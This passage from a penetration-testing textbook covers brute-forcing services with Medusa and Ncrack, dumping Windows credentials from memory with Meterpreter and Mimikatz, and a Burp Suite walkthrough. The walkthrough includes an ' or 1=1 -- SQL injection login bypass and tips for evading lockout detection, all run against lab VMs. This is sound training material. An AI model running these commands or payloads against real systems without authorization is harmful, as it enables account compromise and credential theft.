of applications, including smtp, http, pop3, and sshv2.
The following are some of the options that are available with Medusa:
-h defines the target hostname of the IP address.
-H specifies the file containing multiple targets.
-U specifies the file containing usernames.
-P specifies the file containing passwords.
-g [num] defines the number of seconds after which Medusa will give up trying

to connect.
-r [num] defines the number of seconds between retry attempts.
-M specifies the name of the module that will be used. Note that this is without
the .mod extension.
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-m defines parameters to pass to the module.
-Z defines a previous scan that you would like to resume.

Medusa supports a number of modules. A current list of supported modules can be viewed
using the medusa -d command from a Terminal window, as shown in the following
screenshot:

Figure 18: List of modules supported by Medusa

The syntax for Medusa is as follows:
medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C
file] -M module [OPT]

Let's perform an FTP attack using Medusa, as we have done with Hydra. The command
used is as follows:
medusa -U [username file] -P [password file] -h [host IP address] -M
[module] [options]
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Here, I am using the same text file for both the username and passwords. The module
being used is ftp, and I want Medusa to stop on the first match using the -f option, as
shown in the following screenshot:

Figure 19: Performing an FTP brute force using Medusa

Medusa has the capability to resume canceled scans, as shown in the following screenshot.
These can be resumed using the -Z [unique code] command:

Figure 20: Medusa resume functionality

Medusa is another tool that should be in your penetration testing toolkit. It is flexible and
supports different sets of protocols compared to Hydra.

Ncrack
Ncrack is a powerful and fast password cracking tool that is focused on network-based
services that rely on authentication. It is designed to be modular, leveraging a commandline syntax that is not new if you are familiar with Nmap's syntax. You are able to integrate
scans that were executed with Nmap into Ncrack. The protocols supported by Ncrack
include ssh, rdp, ftp, telnet, http/s, smb, and many more.
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Ncrack is included with Kali Linux, so there is no need to install it as it is available to use
out of the box. The syntax for Ncrack is as follows:
ncrack [Options] [target:service specification/port number]

The following are some of the options that are available in Ncrack:
-cl defines the minimum number of concurrent parallel connections.
-CL defines the maximum number of concurrent parallel connections.
-at defines the number of authentication attempts per connection. This is a good

way to avoid account lockouts.
-U specifies a username file.
-P specifies a password file.
-iX defines the file to input from an Nmap XML output file (-oX switch in
Nmap).
-iN defines the file to input from an Nmap normal output file (-oN switch in
Nmap).
-iL defines a list of hosts or networks.

To display the current list of modules that is supported by Ncrack, you can run the ncrack
-V command, as shown in the following screenshot:

Figure 21: Modules supported by Ncrack

Since Ncrack has the ability to perform a brute force attack, let's perform this attack against
the Metasploitable 3 virtual machine. Use the following command:
ncrack -U [username file] -P [password file] IP:service -f -vv

In this command, I am using the same file for both the usernames and passwords. I am
using the -f option to stop on a match and -vv for an increased verbose output, as shown
in the following screenshot:
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Figure 22: Using Ncrack against the RDP service of Metasploitable 3

While using Ncrack to perform the RDP brute force login, the
Metasploitable 3 virtual machine session was locked. This is something to
keep in mind as you perform your penetration tests. If an active user or
administrator is using a system and their session is locked, it's bound to
raise an alarm.
Ncrack enables you to resume a current session by saving a restore file if you terminate a
scan, as shown in the following screenshot. This scan can be resumed using the ncrack -resume [filename] command:

Figure 23: Resuming an Ncrack session

The protocol you are attempting to brute force in your penetration test will determine the
tool that you will use. In some cases, you might have a choice of more than one tool, and
your choice might boil down to the speed of the tool itself. A common option to speed up a
bruce force attack is to increase the number of login threads. In some cases, such as RDP
and SMB, this may not be possible, due to the restrictions associated with the protocol.
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Another factor to consider is the protocol authentication negotiations. For example, the
authentication negotiations of a protocol such as RDP are more time-consuming than that
of HTTP. However, if you manage to successfully brute force the RDP protocol, your
reward is often a lot larger, as this can lead to additional hashes that might be of higher
privilege. The art behind brute forcing with online tools is choosing your targets, user lists,
and password files carefully, and with intuition before initiating the attack.

Dumping passwords from memory
Password cracking can really be fun, but dumping passwords from memory of a
compromised host is much quicker. This will give you quick access to credentials that can
allow you to either elevate your privileges or move laterally in the environment. Some
systems might be configured with wdigest authentication, which will provide you with
clear text passwords, while others might be more secure, which you can then leverage as a
pass the hash attack.
Let's take a look at some possibilities of dumping passwords from memory. We will use
what we have learned in the previous chapter (Chapter 5, Diving into the Metasploit
Framework), and perform an exploit toward the Metasploitable 3 virtual machine using the
eternalblue exploit. For the payload, we will leverage a meterpreter shell, as shown in
the following screenshot:

Figure 24: Options used in the EternalBlue exploit
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Once we have a meterpreter session established, we can leverage the built-in tools of the
Metasploit Framework, or use a tool such as Mimikatz or Windows Credential Editor.
Using Mimikatz from a meterpreter session does not load anything to the remote system
(nothing touches the disk). The beauty with this method is that it's harder to detect since
there is nothing being written to the disk. Using a tool such as Windows Credential Editor
(WCE) requires us to upload the tool to the remote system and then dump the credentials
from memory. Since this involves writing to the remote system disk, the chances of
detection are greater.
Built into Metasploit, we have the ability to obtain the hashes from memory using the msv
command from a meterpreter session. You will notice in the following screenshot that we
have both the LM and NTLM hashes dumped from memory for the current users:

Figure 25: Dumping MSV hashes using Metasploit

The next option we have is to dump the Kerberos credentials from memory. This can be
done using the kerberos command from a meterpreter session, as shown in the
following screenshot.
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Notice here that we are able to obtain clear text credentials:

Figure 26: Dumping Kerberos credentials using Metasploit

The same is possible using the wdigest command, as shown in the following screenshot.
This is possible since the authentication protocol being used is wdigest, which is insecure:

Figure 27: Dumping wdigest credentials using Metasploit
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From meterpreter, we are able to leverage Mimikatz. Mimikatz was created to
demonstrate the vulnerabilities in authentication protocols used by Microsoft operating
systems. It is the most widely used hacker tool and hosts a ton of features, and is constantly
being updated.
Mimikatz can be loaded using the load mimikatz command from a meterpreter
session. Once it has been loaded, you can use the pipe commands to Mimikatz
using mimikatz_command -f.
To dump the hashes of a compromised host, you can use the mimikatz_command -f
samdump::hashes command, as shown in the following screenshot. Notice the New
Technology LAN Manager (NTLM) hashes that can be copied if you want to perform
offline password cracking against them:

Figure 28: Dumping hashes from the SAM database using Mimikatz inside Meterpreter
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You can extract the passwords from memory using the mimikatz_command -f
sekurlsa::searchPasswords command, as shown in the following screenshot:

Figure 29: Extracting passwords from memory using Mimikatz

Using the flexibility of meterpreter, you can upload files, such as the Windows
credential editor. This will allow you to dump passwords from memory as follows:

Figure 30: Using Windows credential editor to dump credentials from memory

Being able to dump passwords from memory can be really rewarding, especially if a high
privilege account is obtained on the first shot.
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Summary
Passwords are something that we all use daily, and having a good understanding of how to
crack passwords can aid in a successful penetration test. Keep in mind the trade-off with
password security; the more complex the password is, the greater are the chances of people
circumventing it. Password re-use is a common flaw that people make, so you might end
up discovering that an end user's password for an online service is the same as their user
account for the corporate network. In all the tools used for password cracking, there is
support for throttling brute force attempts. This feature enables you to blend in brute force
attacks with everyday traffic and ultimately reduce lockouts.
In this chapter, you have learned about the history of passwords. We looked at how you
can discover usernames from public files that expose metadata. You have learned about
online resources where password and user lists can be obtained. You learned how to use
your powers of perception in password profiling, and how to create profile password lists.
We looked at password mutating, and how we can make a profiled password list better
suited for your target. We dived into offline password attacks and how various tools can be
used to crack password hashes. In the online password attack section, we looked at using
various tools to perform brute force attacks against network services that leverage
authentication.
In the next chapter (Chapter 7, Working with Burp Suite), we will look at how to use Burp
Suite in a penetration test. We will work with the various modules of Burp Suite and
perform various attacks on web servers.

Questions
1.
2.
3.
4.
5.

What is one way of obtaining usernames publicly?
What is the benefit of password profiling?
What tool can be used for password mutation?
What is the difference between online and offline password attacks?
What should you keep in mind when dumping credentials from memory?
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Working with Burp Suite
Burp Suite is a widely used web application penetration testing tool based on Java
architecture, which is available in both free and paid versions. It can be used on multiple
platforms such as Windows, Linux, and macOS. Burp Suite is used to identify
vulnerabilities and to verify web application attack vectors. It has a wealth of features and
is a very popular, comprehensive tool, with many books written about it.
In this chapter, you will learn about Burp Suite and the various editions that exist. We will
highlight the differences between the editions and how you can obtain a trial license for the
professional version, which is used for the demos within the chapter. You will prepare your
environment so that the demos can be replicated in your own lab. Finally, we will examine
the tools that Burp Suite has to offer and look at how these are used by penetration testers.
You will gain a good understanding of the tools by using practical examples that are easy to
follow.
In this chapter, we will cover the following topics:
Introduction to Burp Suite
Preparing your environment
The nuts and bolts of Burp Suite

Technical requirements
To follow along with the examples and instructions in this chapter, please check that you
have the following:
Kali Linux 2019.1
Burp Suite Professional (v1.7.37 at the time of writing)
The Open Web Application Security Project (OWASP) Broken Web
Applications (BWA) project version 1.2.7
Metasploitable 2
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Understanding Burp Suite
Burp Suite is similar to an interception proxy. While performing penetration tests on a
targeted web application, Burp Suite can be configured so that all traffic is routed through
its proxy server. This makes Burp Suite act as a man-in-the-middle attack by capturing and
analyzing each web request to and from the web application. This enables the penetration
tester to leverage features such as pausing, manipulating, and replaying requests in order
to discover potential injection points in the target web application. These injection points
can be defined manually or via automated fuzzing techniques.
Fuzzing or fuzz testing is a software technique that consists of discovering
implementation bugs using malformed or semi-malformed packets in an
automated fashion.
Burp Suite is currently available in three editions:
Community: This is the free version, which is shipped by default with Kali
Linux.
Professional: This is a paid edition, which, at the time of writing, costs $399 per
user per year.
Enterprise: This edition is meant for enterprises. According to PortSwigger's
website (https://portswigger.net/), it has a starting price of $3,999.00 per
year at the time of writing. This edition is not within the scope of this book.
In this book, we will be using the Professional Edition. PortSwigger offers a free trial of
Burp Suite Professional. All you need to do is request a trial license by providing a valid
company name and company email address.
The difference between the Community Edition and the Professional Edition boils down to
the features. The Community Edition has limitations on the Intruder functionality by forcethrottling threads. The Community Edition does not include any scanning functionality or
any built-in payloads. You can, of course, load your own payloads into the Community
Edition. Plugins that require the Professional Edition will not work in the Community
Edition. The Community Edition only allows you to create temporary projects, so you will
not be able to save your project to disk. The Community Edition includes only the essential
manual tools, whereas the Professional Edition contains the essential and advanced manual
tools.
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For a full list of differences between the different editions, you can
visit https://portswigger.net/burp, which will explain the differences
and display the current prices of each edition.

Preparing your environment
In order to test the features of Burp Suite, we need to prepare our environment. There are
many web applications that are vulnerable by design. These are created specifically for
learning purposes, and they are great. As you master your skills in Burp Suite, I encourage
you to look at various vulnerable web applications that are created and released. A good
resource to find both online and offline versions of vulnerable web application software is
OWASP.
OWASP maintains a Vulnerable Web Applications Directory Project,
which can be found at https://www.owasp.org/index.php/OWASP_
Vulnerable_Web_Applications_Directory_Project#tab=Main.

Installing Burp Suite Professional
Before we begin penetration testing, we need to have Burp Suite installed. By default, Kali
Linux 2019.1 ships with the Community Edition of Burp Suite. In this book, we will be
using a free trial of the Professional Edition.
Please take note that, at the time of writing, the latest stable version is
v1.7.37. If you use any beta version, the interface will look different to
what you see in the screenshots printed in this book.
Let's take a walk through the steps needed to obtain a trial license for Burp Suite
Professional:
1. Navigate to https://portswigger.net/requestfreetrial/pro.
2. Complete your details as required by the form. Take note that you need to enter a
company email address, so personal email addresses from Gmail, Outlook, and
others will not work.
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3. You will receive an email with login details, which you will use to log in to the
download portal. Once you have logged into your account, you can proceed to
download the license file. I am using the plain jar file, as I can run this selfcontained application without the need to install it, as shown in the following
screenshot:

Figure 1: Download options for Burp Suite Professional

4. Once you have downloaded the file, you can launch Burp Suite Professional
using the java -jar [filename] command from a Kali Linux Terminal
window. During the first launch, it will ask you to provide the license key and
proceed to activate the license.
If you want to configure the amount of memory allocated to Burp Suite, you can use the Xmx command switch, for example, java -jar -Xmx2048m [filename].

Setting up OWASP BWA
The BWA project creates a virtual machine that consists of a number of applications that
have known vulnerabilities. The project was created for those who are interested in
learning the following:
The security of web applications
Various manual testing techniques
Various automated testing techniques
How to use tools to perform source code analysis
Understanding the impact of web attacks
How to test web application firewalls and similar tools
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The direct link for the OWASP BWA project is https://www.owasp.org/
index.php/OWASP_Juice_Shop_Project.

Once you have downloaded the BWA virtual machine, you will need to extract it using a
program such as 7-Zip. The BWA files shown in the following figure are virtual machine
files, which can be imported into VMware Workstation or VirtualBox:

Figure 2: BWA extracted ﬁles

Importing the files into VMware Workstation is straightforward. All you need to do is open
or import the .vmx file. For VirtualBox, we will need to do some additional steps:
1. Open VirtualBox and create a new virtual machine. Define a name for the virtual
machine, and then select the operating system type as Linux Ubuntu (32-bit).
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2. Continue with the wizard, but when it comes to the hard drive components,
instead of creating a new hard drive, select Use an existing virtual hard disk
file. Here, you will select the BWA virtual hard disk (OWASP Broken Web
Apps-cl1.vmdk), as per the following screenshot:

Figure 3: Importing the BWA virtual hard disk

3. Click on Create to create the virtual machine. You can tweak the processing
power and memory as you please, but the defaults should suffice.
4. Ensure that you are using either the host only or network address translation
(NAT) networking configurations for this virtual machine. Do not directly
expose it to the public internet, as the virtual machine is vulnerable by design.
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5. Once the virtual machine starts up, it will provide you with the IP address that
can be used to access it, as shown in the following screenshot:

Figure 4: BWA virtual machine information

Once you have BWA started, you will notice that it provides you with information on how
to access it via a web browser and via SSH.

Configuring your browser
Since Burp Suite relies on using the proxy tool for all of its functions, you will need to
configure your browser to use the proxy. In Kali Linux 2019.1, Firefox Extended Support
Release (ESR) is included by default. It is straightforward to configure the proxy settings of
the browser, but having to change the proxy settings manually every time can be
frustrating.
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Firefox ESR has a few proxy management add-ons. I personally like to use FoxyProxy
(https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/), as it
provides the functionality to define multiple proxies and change them by using a switch
from the add-on button in Firefox:

Figure 5: FoxyProxy with multiple proxies conﬁgured

Adding a new proxy is as simple as clicking on Options and adding in a new proxy. In the
next section, we will cover adding a proxy.

Exploring and configuring Burp Suite
components
Burp Suite has a wide range of tools to help penetration testers throughout the whole web
application testing process. These tools enable penetration testers to map the environment,
carry out vulnerability scans, and exploit vulnerabilities.
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Burp Suite has a simple graphical interface that holds the two rows of tabs and various
panels (Figure 6). The first row of tabs (1) are the tools that are currently installed. The
second row of tabs are sub components of the main tool (2), and, within that sub
component, you have various panels (3):

Figure 6: Burp Suite's interface

The example in Figure 6 shows that the main tool of Target is selected, and the sub
component of Site map is selected. Within that sub component, there are multiple panels,
such as Contents and Issues.

Burp Suite tools
Let's now work with the various tools within Burp Suite and use them in attacks against the
OWASP BWA project we deployed in the previous section.
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When you start Burp Suite Professional, create a new project on disk (Figure 7) so that you
can always refer back to the results. You can use the Burp Suite defaults for the
configuration file:

Figure 7: Burp Suite's new project

Now that we have our project started, we can dive into the tools and learn how to use them.

Proxy
This is the centerpiece of Burp Suite, allowing you to create an intercepting proxy that
functions between your browser and the target web application. You can intercept, inspect,
and modify all requests and answers using this tool.
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To configure the proxy options, you need to visit the Proxy tool and select the Options tab,
as shown in the following screenshot:

Figure 8: Proxy Listeners options within the Proxy tool

The Proxy Listeners section is where you define the proxy details. The default
configuration will suffice for the activities we will perform. An additional configuration
item that is worth enabling is under the Response Modification section of the proxy
options. This setting is titled Unhide hidden form fields, as seen in the following
screenshot:

Figure 9: Enabling Unhide hidden form ﬁelds
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Hidden HTML forms are a common mechanism for the superficial,
unchanged transmission of data via the client. The field is not displayed
on screen if it's flagged as hidden. The name and value of the field are,
however, stored in the form and will be returned to the application when
the user submits the form. Burp Proxy can be used to intercept the
application submitting the form and change the value.
Configuring this in Firefox ESR can be done as follows:
1. Open Firefox ESR and navigate to Preferences:

Figure 10: Navigating to the Firefox preferences

A quicker way to navigate to the preferences is to navigate to
the about:preferences URL within Firefox ESR.

2. Once you are inside the preferences, search for proxy and click on the Settings
button.
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3. Once inside the proxy settings, you can define the Burp Suite proxy as per the
following screenshot:

Figure 11: Deﬁning the Burp Suite proxy within Firefox ESR

In the previous section, we mentioned that this method can become frustrating, as
sometimes, you will need to browse without using the Burp Suite proxy.
To configure the Burp Suite proxy in an add-on, such as FoxyProxy, all that is required is
for us to define the proxy settings (Figure 12) and, once the configuration is saved, you will
be able to switch between the proxy settings:

Figure 12: Adding the Burp Suite proxy to FoxyProxy
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Now that we have the proxy set up and configured, let's move onto the next tool, where we
will define the target and perform activities such as mapping out the site.
Because the proxy in Burp Suite works as an intercepting proxy, you
must forward requests when you browse to a URL. If you do not forward
the request, the URL will not load in the browser.

Target
This tool provides detailed information on the content and workflow of your target
application. It assists you in leading the testing process. Within this tool, the target site can
be mapped out (manually or by using the integrated crawler), and the scope can be
modified after the applications are mapped.
We will define our target as the main IP address of the BWA virtual machine. For example,
as per the screenshot in the previous section, my BWA virtual machine has an IP address of
192.168.34.152.
The target can be defined using the following steps:
1. Click on the Target tool and select Scope.
2. Click on Add under the Target Scope section, and input the IP address of your
BWA virtual machine.
3. Burp Suite will prompt you to log out-of-scope items. In this case, we do not
want to log them, so select Yes so that Burp Suite does not send out-of-scope
items to the other tools:
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Figure 13: Deﬁning the target in Burp Suite

4. Once you have defined the target scope as the BWA virtual machine IP address,
open Firefox and navigate to the URL of the BWA virtual machine, for example,
http://192.168.34.152. You will notice that, without forwarding the request
in the Proxy tool (Figure 14), the web page will not load:

Figure 14: Forwarding requests using the Proxy tool
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5. Once you have forwarded the request, the BWA main page will load. Within the
Target tool under Site map (Figure 15), you will now have a full site map of the
target web application:

Figure 15: Site map populated based on the target deﬁned

A hierarchical representation of the content is contained in the left-hand tree view, with
URLs divided into domains, directories, files, and parameterized requests. To see more
details, you can expand interesting branches. If you select one or more pieces of the tree, all
items in the children's branches in the right-hand view will show the relevant details. The
right-hand view contains details of the content of the branches selected from the tree view
and any issues identified with the branch.

Scanner
This tool is available in the Professional Edition of Burp Suite. It provides advanced web
vulnerability scanning functionality, with automatic crawling capabilities to discover
content.
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Leveraging the scanner functionality is as simple as right-clicking on a branch that you
want to scan and selecting either the active or passive scanning function as shown in Figure
16:

Figure 16: Initiating the scanner functionality

There are two types of scans that can be performed, active and passive. The following
details the difference between the two:
Passive scan: This type of scan simply analyzes and detects vulnerabilities in the
contents of existing requests and responses. Using this scan, you will be able to
limit the amount of noise toward the web application. This type of scan is able to
detect a number of vulnerabilities, since many can be detected using passive
techniques.
Active scan: This type of scan submits a number of customized requests and
analyzes the results in search of vulnerabilities. Active scanning can identify a
broader range of vulnerabilities and is essential to conduct a full application test.
Keep in mind that this scan will result in a lot more noise sent toward the
application.
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The following figure shows the output of the issues detected by the scanner:

Figure 17: Issues detected by an active scan

Opening the issue provides more information about the issue, including the host affected,
the path, severity, and confidence levels as shown in Figure 18:

Figure 18: Issue details
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Each result of the scan contains detailed advice, often with customized information relevant
to the particular vulnerability and a suitable remediation write-up. Each result will also
include the complete requests and responses on which the issue was reported, with the
relevant parts highlighted. These requests can be transmitted to other Burp tools as usual to
check for problems or perform further testing.

Repeater
This is used for the manual manipulation and reissuing of HTTP requests. Once these
manual requests are sent, you are able to analyze the responses. You can send requests to
Repeater from anywhere within Burp Suite.
Let's perform a login manipulation using Repeater:
1. Turn off the Burp Suite proxy Firefox ESR, navigate to the BWA main page, and
then click on OWASP Mutillidae II.
2. In the left-hand navigation, select OWASP 2007 | OWASP 2007 A6 – Improper
Error Handling | Login (Figure 19). This will take you to a login page:

Figure 19: OWASP A6 – Improper Error Handling
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3. Enable the Burp Suite Proxy interception. Once enabled, try to log in using any
random credentials. On the Proxy tool within Burp Suite, you will see the login
request being intercepted. Right-click on the request and select Send to
Repeater. In my example, you will see that I used a random username of
testing and a password of test-user as shown in Figure 20:

Figure 20: The login request intercepted with the Burp Suite proxy tool
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4. Click on the Repeater tool and, on the left-hand side, you will have the
intercepted login request. Click on Go and observe the results. Notice that the
Loggin-In-User field is empty, as shown in the following screenshot. If you click
on the Render tab, you will see that no user has been logged in. This tells us that
the random username we have used does not exist:

Figure 21: Using Repeater to replay HTTP requests

From here on, we can modify any of the parameters in the initial request. You can
try various username and password and observe the results. For demonstration
purposes, we will use a common SQL injection technique (SQL injections will be
covered in more detail in Chapter 8, Attacking Web Applications).
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5. In the username= field, remove the random username you have initially used
and put in the ' or 1=1 -- SQL injection command.
Click on Go and observe the output (Figure 22). Notice that the Set-Cookie
parameter is now set to username=admin and Logged-In-User is set to admin.
This tells us that by using the username of ' or 1=1 -- and any password, we
are able to perform a SQL injection attack and log in as an admin:

Figure 22: Performing a SQL injection attack query using Repeater

If you use the Render tab, you will see that the logged in user is admin.
Repeater offers a lot of functionality when it comes to manipulating requests and testing
how various requests will be handled by the web application.
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Intruder
This allows for the powerful automation of customized attacks against web applications. It
enables you to configure various payload, payloads options, and attack options.
Let's use Intruder to find hidden web pages in Multillidae:
1. Navigating to the BWA main page app, select OWAP Multillidae II. Ensure that
you have Burp Proxy set to the intercept mode. Click on the Login/Register link
at the top of the page. Find the intercepted request, right-click on it, and select
Send to Intruder as shown in Figure 23:

Figure 23: Sending the intercepted request to Intruder
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2. Click on the Intruder tab. Intruder automatically marks payload positions. In our
case, we are interested in the POST message. Click on Clear §, which will clear all
automatically placed positions. Double-click on login.php on the POST request
and click on Add § as shown in Figure 24. We will use the Sniper attack type:

Figure 24: Deﬁning the payload position

The Sniper attack type allows you to specify one payload to be tried with
each input field you select. If you want to brute force a single input field
with a list of possible options, then it really is useful.
The Battering ram attack attempts a wordlist simultaneously across all
chosen input fields. This is very useful when you think the credentials
might have the same username and password.
The Pitchfork attack makes use of an additional wordlist. This will enable
it to use one wordlist for the username and the second wordlist for the
password. Pitchfork matches the first word on the username wordlist to
the first word of the password wordlist, therefore it does not provide wide
coverage.
The Cluster bomb attack is the most comprehensive attack, it is also the
most time-consuming. This attack tries every combination of the
username wordlist with every combination of the password wordlist.
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3. Click on Payloads, and the Payload type we will use is a Simple list. In Payload
Options, we will define some well-known hidden pages, such as admin.php,
secret.php, _admin.php, and _private.php. Once the payload options have
been defined (Figure 25), the attack can be started using the Start attack button:

Figure 25: Deﬁning the payload options
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Once the attack begins, a new window will appear with the results as shown in Figure 26:

Figure 26: The Intruder attack results
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From the results, we can gather that all the results returned the same status code. These are
all accessible, and we can confirm this by viewing the Response tab and the Render option.
Intruder can be used to brute force a login process using defined words or a wordlist.
Performing a simple cluster bomb attack can be done as follows:
1. Log in to Multillidae using a random username and password. When the
request is intercepted, send it to Intruder as shown in Figure 27:

Figure 27: Sending the login request to Intruder
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2. In the Intruder tool, define the attack type as Cluster bomb and define the
payload positions as the username and password that you have used. In the
following example, I have used a username of testing and password of
test as shown in Figure 28:

Figure 28: Deﬁning the payload positions in a Cluster bomb attack.

3. Click on the Payloads tab and define username and password for each payload
set using a simple list.
4. Click on the Payload Options tab, and take note of the options under Request
engine. Here, you have the ability to control the attack, such as tweaking the
pauses between the retries and throttling. This enables you to blend in the brute
force attempts with normal traffic, ultimately avoiding the risk of raising a flag
for excessive invalid login attempts. Once you have reviewed the settings, switch
back to the Payloads tab and start the attack.
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5. Once the attack has completed, you will see that the valid credentials returned an
HTTP 302 request. We can confirm this with the Render tab, which shows the
logged in user of admin, as shown in the following screenshot:

Figure 29: Valid credentials found using Intruder

Intruder has a wealth of features that can be used in your penetration tests.

Sequencer
This enables the analysis of the quality of randomness in the target application's important
data items. These items can be session tokens, password reset tokens, and more. This type
of data is unpredictable, and flaws can be discovered that can lead to a vulnerability being
discovered.
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A common attack is known as a session fixation attack. This is an attack that allows an
attacker to retrieve a valid user session. The attack looks at limitations in the way in which
the vulnerable web application manages the session IDs. Either the web application does
not assign a new session ID, or the randomness of the session IDs are weak. This enables an
attacker to use the existing session ID of an existing user.
The way that Sequencer works is based on the hypothesis that the tokens are produced
randomly. As Sequencer performs tests, the probability of certain characteristics that could
occur is calculated. A significance level is defined and, if the probability of these
characteristics falls under this level, then the tokens are marked as non-random.
Let's perform a test using the Damn Vulnerable Web Application (DVWA), which is
installed by default in Metasploitable 2:
1. Ensure that you have modified your target scope to the IP address of your
Metasploitable 2 virtual machine. Once you have modified the scope and set
your proxy to intercept traffic, navigate to the IP address of the virtual machine
using the standard HTTP protocol. Click on the DVWA link. Take note of the two
requests that you would have intercepted. The first is the HTTP GET request as
shown in Figure 30:

Figure 30: DVWA GET request
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The second request is what sets a unique cookie and Personal Home Page
(PHP) session ID, as follows:

Figure 31: PHP Session ID and Cookie set by the DVWA
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2. We will perform a test using Sequencer on the cookie that was set on our system.
Right-click on the first GET request and select the Send to Sequencer option. The
Sequencer tab will light up and you should select this. Under the Token
Location Within Response section, select the PHPSESSID= value as shown in
the following screenshot:

Figure 32: Deﬁne the token location
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3. Click on the Start live capture button and let it run for a couple of seconds. Once
you have more than 200 requests captured, you can pause or stop the capture
and select Analyze now. Observe the results:

Figure 33: The results from Sequencer

In this example, we can see that the overall result is excellent. Based on the number of
requests we have captured, the session tokens generated by the web application is strong.
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Decoder
This can be used for performing various types of encoding or decoding of application data.
Various parts of data can be transformed into code, such as Base64, hex, and binary.
Using Decoder is very straightforward. You can encode or decode text into various outputs.
For example, in Figure 34, a simple clear text string can be encoded into Base64.

Figure 34: Using Decoder to encode clear text into Base64

In a penetration test, you might find that a web application discloses information that you
could decode into readable text. Alternatively, you might need to leverage an exploit that
you need to encode into HTML or URL and forward that code back to the web application
to obtain a response.

Comparer
This is handy when you need to look at visual differences between two items of data; for
example, when you are looking at the responses between valid and invalid user credentials
or checking whether session tokens are random.
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When we worked on the Sequencer tool, we discussed session fixation attacks. Let's
perform a test in Mutillidae using the Comparer tool and see what can be discovered. Here,
we will not use the Sequencer tool, as we will perform a simple test:
1. Ensure that you have defined your target as the OWASP BWA virtual machine
and set your proxy to Intercept. Once you have configured the target, navigate to
the main page of the BWA application using the HTTP protocol.
2. Select the Mutillidae II link, and forward the incercepted request. Next, click on
the Login/Register link, and ensure that the request is forwarded. Then, log in
using the username of admin and password of admin. Once you are logged in,
go to the HTTP history tab of the Proxy tool. Find the two requests, which are
the GET and POST requests.
3. Select the GET request, which was captured when we clicked on
the Login/Register link. Right-click on the request and select Send to Comparer,
as shown in the following screenshot:

Figure 35: Sending the relevant requests to Comparer

4. Repeat Step 3 for the POST request, which shows the successful login.
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5. Click on the Comparer tab and ensure that you select the two different requests
to compare as shown in Figure 36:

Figure 36: Select the requests to compare

6. Click on the Words button and observe the results, as shown in the following
figure:

Figure 37: The results of the compared requests

Notice that PHPSESSID is the same for both requests. This means that the web application
does not generate unique session IDs, since the ID is the same for authenticated and nonauthenticated requests. Therefore, the web application is vulnerable to session fixation
attacks.
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Extender
Here, you have the ability to extend Burp Suite's functionality by using extensions from
the BApp Store or by using third-party code. These extensions enable you to customize the
functionality of the program, such as user interface (UI) changes and adding custom
scanner checks.
Using the Extender tool, we can add in additional extensions using the BApp Store. For
example, adding in the Software Vulnerability Scanner, as shown in the following
figure, extends the built-in vulnerability scanner functionality:

Figure 38: Using the BApp Store to add in extensions

Some extensions are detailed as Pro extension, which means that they will only work with
Burp Suite Professional. Under the Extensions tab, you have the ability to load extensions
that are not listed in the store.
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Summary
In this chapter, you have learned about Burp Suite and its various editions. You have
worked through setting up your environment and learned how to prepare your lab by
leveraging vulnerable web applications that are freely available on the internet. You have
gained a good understanding of the various tools that exist within Burp Suite, and how to
use them by making use of practical examples in your own lab environment.
In the next chapter, Chapter 8, Attacking Web Applications, we will look at the various
vulnerabilities that exist within web applications and understand how and why they exist.
We will use various tools, including Burp Suite, to perform various attacks on vulnerable
web applications.

Questions
1.
2.
3.
4.
5.

What is the centerpiece of Burp Suite?
When is it appropriate to use a passive scan?
What is Repeater used for?
What attack method is the most comprehensive within the Intruder tool?
How can you extend the functionality of Burp Suite?
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Attacking Web Applications
Web applications are the most targeted methods of compromise. Today, we have web
applications that provide e-commerce services, a prized target for attackers since they can
obtain details such as credit cards and personal identifiable information. Businesses that
have an internet presence are bound to have a web application that is accessible by the
public. Web penetration testing demands both skill and time, and understanding the
components of a web application, the types of attacks, and the tools that can be used will
help you to focus on the exploitable vulnerabilities within a short time frame.
In this chapter, you will learn about web applications and their components. You will learn
about the different types of web application security testing and how penetration testing
fits in. You will also understand the basics of the HTTP protocol and how various aspects of
it will be of interest during penetration testing. Finally, you will learn about some of the
common web application attacks and how to perform various attacks using intuition by
leveraging some of the tools within Kali Linux.
As you progress through this chapter, you will learn about the following topics:
Preparing your environment
Types of web application security testing
The components of a web application
Understanding the HTTP protocol
Common web application attacks
Attacking web applications
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Technical requirements
To follow along with the examples and instructions in this chapter, please ensure that you
have the following technical requirements:
Kali Linux 2019.1
Metasploitable 2

Preparing your environment
In this chapter, we will work with various web applications and tools.
In the previous chapter, you learned about using Burp Suite; we will leverage some parts of
Burp Suite in this chapter, too.
Please take note of your Metasploitable 2 virtual machine IP address. We will actively use
this during various parts of this chapter. To recap, the IP address can be obtained by
logging in to the virtual machine (the default username and password is msfadmin) and
typing in the ifconfig command.

Types of web application security testing
There are three types of web application testing, and these are defined as follows:
Dynamic testing: This type of testing doesn't require the source code of the web
application. The aim is to find vulnerabilities that could be exploited by an
attacker from an untrusted location such as the internet.
Static testing: This type of testing uses the web application's source code. It
works by looking for vulnerabilities from within the web application as opposed
to trying to breach the web application from an untrusted location.
Penetration testing: This type of testing is what we will focus on in this chapter.
It entails using the human element to imitate how an attacker might exploit a
web application. It makes use of skill, intuition, and a variety of tools.
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The components of a web application
Web applications have evolved from being static web pages to complex applications that
provide a multitude of functionality. You can think of a web application as a normal
computer application that simply operates over the internet.
In this section, we will discuss the various components of web applications.

Web application architecture
Web application architecture is the interaction between various components. The three
primary types of web application architecture are as follows:
Single-Page Applications (SPA): These are common now, with minimalism
being the in thing for web applications. These work by dynamically updating
content to the current page. Asynchronous Javascript and XML (AJAX) is used
to provide the dynamic content. These types of applications are still vulnerable to
attacks.
Microservices: These are lightweight and focus on a single function.
Microservices leverage various coding languages, and so there are vulnerabilities
in this architecture.
Serverless: This makes use of cloud providers that handle the server and
infrastructure management. This allows applications to work without worrying
about the infrastructure. Vulnerabilities such as broken authentication,
inadequate logging, insecure application storage, and more exist here.
In all three models, there are security risks that exist. Therefore, the need for penetration
testing exists no matter what model is being used.
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Web application languages
Since web applications are so diverse and dynamic, there are several languages that are
used for writing web applications. These languages can sometimes interact in ways that can
have serious implications on the security of the overall web application.
These commonly used languages are Python, Ruby, and Java. Let's look at some of the
caveats of these languages.

Python
Python is a language that is used often due to its simplicity and power. It creates an
ecosystem that works across many different applications that are not only related to web
applications.
Python makes use of a serialization mechanism known as pickles. Serialization is the
process of creating data in a structure that can be stored and later restored to its original
form. Using pickles allows an object to be converted into a byte stream and then converted
back. Using pickles can be used for a variety of things, such as cookie values, and auth
tokens.
A sample pickle looks as follows:
def verifyAuth(self, headers):
